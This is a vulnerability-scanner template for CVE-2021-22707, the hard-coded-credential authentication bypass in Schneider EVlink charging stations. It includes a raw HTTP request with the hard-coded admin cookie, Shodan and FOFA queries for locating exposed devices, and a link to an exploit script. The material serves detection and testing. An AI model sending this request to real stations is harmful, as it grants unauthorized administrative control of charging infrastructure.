55 lines
2.1 KiB
YAML
55 lines
2.1 KiB
YAML
id: CVE-2021-22707
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info:
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name: EVlink City < R8 V3.4.0.1 - Authentication Bypass
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author: ritikchaddha,dorkerdevil
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severity: critical
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description: |
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A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
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remediation: |
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Upgrade to EVlink City R8 V3.4.0.1 or later to fix the authentication bypass vulnerability.
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reference:
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- https://codeberg.org/AmenoCat/CVE-2021-22707-PoC/raw/branch/main/exploit.sh
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22707
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- http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-22707
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cwe-id: CWE-798
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epss-score: 0.3812
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epss-percentile: 0.96785
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cpe: cpe:2.3:o:schneider-electric:evlink_city_evc1s22p4_firmware:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: schneider-electric
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product: evlink_city_evc1s22p4_firmware
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shodan-query: title:"EVSE web interface"
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fofa-query: title="EVSE web interface"
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tags: cve,cve2021,evlink,auth-bypass
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http:
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- raw:
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- |
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GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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Cookie: CURLTOKEN=b35fcdc1ea1221e6dd126e172a0131c5a; SESSIONID=admin
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host-redirects: true
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max-redirects: 2
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '?worker=Cluster" name="cluster" id="id_cluster'
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- type: status
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status:
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- 200
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# digest: 490a00463044022013a490dc791438aa1624c6e9219c1fcb9996d4ec060c33b22bbaf4340bbd67c80220678990c2a6b404bb7766784c49304cc75df97619bf414b6031e5d010edecb66d:922c64590222798bb761d5b6d8e72950
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